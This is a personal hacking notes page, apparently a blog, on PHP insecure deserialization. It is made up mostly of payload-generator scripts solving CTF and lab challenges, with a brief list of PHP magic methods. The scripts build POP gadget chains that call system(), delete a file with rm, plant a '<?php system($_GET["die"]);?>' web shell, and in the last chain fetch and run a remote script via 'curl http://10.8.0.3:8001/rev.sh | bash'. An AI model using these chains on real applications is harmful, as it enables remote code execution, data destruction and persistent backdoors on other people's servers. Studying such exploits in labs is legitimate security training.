rootđź’€senseicat:~#

Hack. Eat. Sleep. Repeat!!!


Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

Feeling funky and decided to learn Insecure Deserialization


class Example2
{
  private $hook;
  function __construct(){
      // some PHP code...
  }
  function __wakeup(){\
      if (isset($this->hook)) eval($this->hook);
  }
}
// some PHP code...
$user_data = unserialize($_COOKIE['data']);
// some PHP code...
<?php
class Example2
{
  private $hook;
  function __construct(){
      // some PHP code...
  }
  function __wakeup(){
      if (isset($this->hook)) echo eval($this->hook);
  }
}
$example2 = new ReflectionClass('Example2');
$obj = $example2->newInstanceWithoutConstructor();
$prop= $example2->getProperty('hook');
$prop->setAccessible(true);
$prop->setValue($obj,'');
echo base64_encode(serialize($obj));
?>

PHP POP Chains


<?
// some PHP code...
class CodeSnippet{
	private $code = "phpinfo();";
}
class Example {
	private $obj;

	function __construct() {
		$this->obj = new CodeSnippet();
	}
}

echo urlencode(serialize(new Example));
?>

Core Concepts-:


private variables are serialized as \x00ClassName\x00VariableName
protected variables are serialized as \x00*\x00VariableName
public variables are serialized as: VariableName
Classes in PHP are case-insensitive

__sleep() //Triggered before an object is serialized.  
__wakeup()   //Called immediately after an object is deserialized.
From PHP 7.4 onward, if both __unserialize() and __wakeup() exist, only __unserialize() is executed. __wakeup() is ignored.。
__construct() //when an object is created
__destruct() //when an object is destroyed
__toString(): //Runs when an object is used as a string (e.g., echo $object).
__call() //Triggered when calling a non-accessible method in an object context.
__callStatic() //Triggered when calling a non-accessible static method.
__get() //Used to read data from inaccessible properties (either private or non-existent).
__set() //Used to write data to inaccessible properties.
__isset() //Called when isset() or empty() is used on an inaccessible property.
__unset() //Called when unset() is used on an inaccessible property.
__invoke() //Activated when an object is called as a function (e.g., $object()).

HTB POP Restaurant Solution


<?php

//Array helpers
require_once 'Helpers/ArrayHelpers.php';
use Helpers\ArrayHelpers;

//Icecream
class IceCream {
	public $flavors;
	public $topping;
}

//Spaghetti

class Spaghetti
{
    public $sauce;
    public $noodles;
    public $portion;
}
//Trigger point:__destruct

class Pizza {
	public $price;
	public $cheese;
	public $size;
}

//Array Helpers
$payload =  new ArrayHelpers(["cat /*_flag.txt"]);
$payload->callback = 'system';

$icecream =  new IceCream;
$icecream->flavors = $payload;
$icecream->topping = 'lolzz';

$spag = new Spaghetti;
$spag->sauce = $icecream;
$spag->noodles = 'indomie';
$spag->portion = '1999';

$pizza = new Pizza;
$pizza->size = $spag;
$pizza->cheese = 'nada';
$pizza->price = '12212';

echo base64_encode(serialize($pizza));

?>

Pwned Bobby on flagyard


<?php
class ChessGame {
    public $position = "/flag.txt";
}

class PositionAnalyzer {
    public $gameRecord = "swissfish";
    public $currentPosition;   
} 

$chess = new ChessGame;
$analyzePosition = new PositionAnalyzer;
$analyzePosition->currentPosition = $chess;

echo base64_encode(serialize($analyzePosition));
class ChessGame {
    public $position;
    
    public function __construct($position) {
        $this->position = $position;
    }

    public function __toString() {
        return file_get_contents($this->position);
    }
}
class PositionAnalyzer {
    public $gameRecord;
    public $currentPosition;
    
    public function __construct($record) {
        $this->gameRecord = $record;
    }

    public function validateMove($position) {
        $this->currentPosition = $position;
    }

    public function __destruct() {
        if ($this->currentPosition) {
            echo $this->currentPosition;
        }
    }
}

TCP1P Old Ctf


<?php
require('vendor/autoload.php');

$gadgetone = new \GadgetOne\Adders(1);
$gadgettwo =  new \GadgetTwo\Echoers();
$gadgetthree = new \GadgetThree\Vuln();

//Setup gadget1
$vuln = new \GadgetThree\Vuln();
$reflection = new \ReflectionClass($gadgetthree);
$property = $reflection->getProperty('waf1');
$property->setAccessible(true);
$property->setValue($vuln,1);
$property = $reflection->getProperty('waf2');
$property->setAccessible(true);
$property->setValue($vuln,"\xde\xad\xbe\xef");
$property = $reflection->getProperty('waf3');
$property->setAccessible(true);
$property->setValue($vuln,false);
$vuln->cmd = "system('ls');";

//Gadget two
$echoers = new \GadgetOne\Adders(1);
$reflection = new \ReflectionClass($echoers);
$property = $reflection->getProperty('x');
$property->setAccessible(true);
$property->setValue($echoers,$vuln);

//setup trigger point __destruct
$trigger = new \GadgetTwo\Echoers();
$reflection =  new \ReflectionClass($trigger);
$property = $reflection->getProperty("klass");
$property->setAccessible(true);
$property->setValue($trigger,$echoers);

echo base64_encode(serialize($trigger));
?>

Local Challenge created by someone


<?php
require('includes\bootstrap.php');
$gadgetuser =  new User('<?php `$_GET["die"]`;?>','supersecret');
$gadgetlogger  =  new Logger;

//setting up gadget Logger

$logger = new Logger;
$reflection =  new \ReflectionClass($gadgetlogger);
$property =  $reflection->getProperty("logFile");
$property->setAccessible(true);
$property->setValue($logger,'pixxed.php');
$property = $reflection->getProperty('logData');
$property->setAccessible(true);
$property->setValue($logger,['<?php system($_GET["die"]);?>']);
//setting up gadget  user
$user =  new User('`ls`','supersecret');
$reflection =  new \ReflectionClass($gadgetuser);
$property =  $reflection->getProperty('isAdmin');
$property->setAccessible(true);
$property->setValue($user,true);
//setting logger private data
$property = $reflection->getProperty('logger');
$property->setAccessible(true);
$property->setValue($user,$logger);
echo base64_encode(serialize($user));
?>

Jmoraissec


<?php

Class _Text
{
	private $filename;

	public function __construct($filename)
  {
    $this->filename = "";
  }

	public function __toString()
	{
		$path = "./" . trim($this->filename) . ".txt";
      if (file_exists($path))
        echo file_get_contents($path);
  }
}

$gadgetfilename = new _Text("flag");

$filename = new _Text("flag");
$reflection = new ReflectionClass($gadgetfilename);
$property = $reflection->getProperty("filename");
$property->setAccessible(true);
$property->setValue($filename,"flag");

echo urlencode(serialize($filename));

?>

Portswigger php custom gadget chain


<?php
include("customtemplate.php");
$default_map = new DefaultMap("system");
$gadgetcustomTemp  = new CustomTemplate();

$customTemp =  new CustomTemplate('ls');
$reflection =  new \ReflectionClass($customTemp);
$property = $reflection->getProperty("desc");
$property->setAccessible(true);
$property->setValue($customTemp,$default_map);
$property = $reflection->getProperty("default_desc_type");
$property->setAccessible(true);
$property->setValue($customTemp,'rm /home/carlos/morale.txt');

echo base64_encode(serialize($customTemp));
?>

SEC DOJO Serial chain


<?php
//User class
class User {
    private $id;
    private $email;
    private $role;
    private $firstName;
    private $lastName;
    private $createdAt;

    public function __construct($id, $email, $role = 'user', $firstName = '', $lastName = '', $phone = '', $createdAt = '') {
        $this->id = $id;
        $this->email = $email;
        $this->role = $role;
        $this->firstName = $firstName;
        $this->lastName = $lastName;
        $this->createdAt = $createdAt;
    }
}
//UserSession class
class UserSession {
    private $user;
    private $sessionId;
    private $createdAt;
    
    public function __construct($user, $sessionId = null) {
        $this->user = $user;
        $this->sessionId = $sessionId ?: uniqid('session_');
        $this->createdAt = time();
    }
}
//prepping User up
$user =  new User('3','me@gmail.com','admin','me','me@gmail,com','0810999599','');

//prepping UserSession
$usersession =  new UserSession($user,'session_6887b7864bbac');

echo urlencode(base64_encode(serialize($usersession)));
?>
<?php
class MessageTemplate {
    public $template_engine; 
    public $variables;       
    public $rendered_content;
    public $template_name;
    public $template_type;

    public function __construct($engine_type = 'HTML_RENDERER', $name = '', $type = 'notification') {
        $this->variables = '';
        $this->template_engine = $engine_type;
        $this->template_name = $name;
        $this->template_type = $type;
        $this->render_template();
    }

    public function __sleep() {
        return ["template_engine", "variables", "template_name", "template_type"];
    }

    public function __wakeup() {
        $this->render_template();
    }

    private function render_template() {
        $this->rendered_content = new RenderedMessage($this->template_engine, $this->variables);
    }
    public function setContent($html, $text, $subject) {
        $this->variables->HTML_RENDERER = $html;
        $this->variables->TEXT_RENDERER = $text;
        $this->variables->EMAIL_RENDERER = $subject;
        $this->render_template();
    }

    public function getHtmlContent() {
        return $this->variables->HTML_RENDERER;
    }

    public function getTextContent() {
        return $this->variables->TEXT_RENDERER;
    }

    public function getSubject() {
        return $this->variables->EMAIL_RENDERER;
    }
}

class RenderedMessage {
    public $content;
    public $metadata;

    public function __construct($engine_type, $variables) {
        $this->content = $variables->$engine_type;
        $this->metadata = [
            'engine' => $engine_type,
            'rendered_at' => date('Y-m-d H:i:s'),
            'version' => '1.0'
        ];
    }
}
class SystemExecutor {
    private $command_handler;

    public function __construct($handler) {
        $this->command_handler = $handler;
    }

    public function __get($name) {
        return call_user_func($this->command_handler, $name);
    }
}
//SystemExecutor
$executor = new SystemExecutor('system');
$template = new MessageTemplate('curl http://10.8.0.3:8001/rev.sh | bash');
$template->variables = $executor;
echo urlencode(base64_encode(serialize($template)));
?>

Sauce